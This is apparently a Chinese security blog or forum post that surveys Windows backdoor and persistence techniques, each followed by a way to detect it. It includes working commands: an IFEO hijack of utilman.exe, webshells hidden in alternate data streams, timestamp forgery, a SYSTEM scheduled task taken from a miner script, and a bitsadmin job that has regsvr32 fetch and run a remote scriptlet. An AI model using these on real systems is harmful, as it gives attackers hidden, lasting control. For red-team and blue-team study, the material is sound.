TL;DR

  • Definition - What does Persistence mean?
    Persistence refers to object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off. When an object or state is created and needs to be persistent, it is saved in a non-volatile storage location, like a hard drive, versus a temporary file or volatile random access memory (RAM).
  • 这里把自己认知里面的一些windows backdoor和persistence的方式方法总结一下,并尽量持续更新。

常见backdoor和persistence方式方法

系统工具替换后门

Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f


  • 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
  • 优点:简单
  • 缺点:易被检测
  • 排查:工具autoruns

后门账号

文件隐藏

attrib命令隐藏

  • windows自带命令行工具attrib用来显示或更改文件属性。

    * 优点:简单,一般的工具(D盾)扫描不到
  • 优点:简单
  • 缺点:暂无
  • 排查:使用attrib命令或者D盾

使用ADS流隐藏webshell(重点!!)

  • 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行


    文章参考:利用ADS隐藏webshell
    文章参考: Windows ADS在渗透测试中的妙用
  • 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time:  $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r

计划任务

  • schtasks和at命令,例如下面的命令
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"
  • 优点:简单
  • 缺点:易被检测
  • 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。

开机启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
等
  • 优点:重启权限维持
  • 缺点:一般杀软均会拦截
  • 排查:一个一个手工查太麻烦,建议直接上autoruns。

服务

sc create [ServerName] binPath= BinaryPathName
  • 优点:重启权限维持
  • 缺点:一般杀软会拦截
  • 排查:工具autoruns

waitfor.exe

  • 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
    详细参考
  • 优点:远程主动激活
  • 缺点:有waitfor进程
  • 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。

bitsadmin后门

  • Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor

WMI后门(重点!)

  • 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
  • 在empire中有相应的module,作者参考使用了Powersploit里面的代码。

  • 后门在系统重启五分钟之内触发且是system权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:工具autoruns

COM劫持

meterpreter 权限维持

  • meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
  • metsvc 是开机自启动的服务型后门

    metsvc代码
  • persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。


    persistence代码
  • 优点:开机自启动
  • 缺点:容易被杀软杀
  • 排查:像是这种后门使用autoruns基本都可以排查出来。

Empire persistence模块(重点!!)

  • Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
  • 通过info命令查看使用方法

    更多可以参考文章
  • 优点:基本集成了大部分的权限维持方法
  • 缺点:暂无
  • 排查:工具autoruns

进程注入(重点!!)

  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
  • 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
  • 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具process explorer 、process monitor

BDF后门

域环境后门

other

  • 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
  • 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
  • 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/

Reference

Intranet_Penetration_Tips
Nothing Lasts Forever: Persistence with Empire

点击收藏 | 8 关注 | 1
登录 后跟帖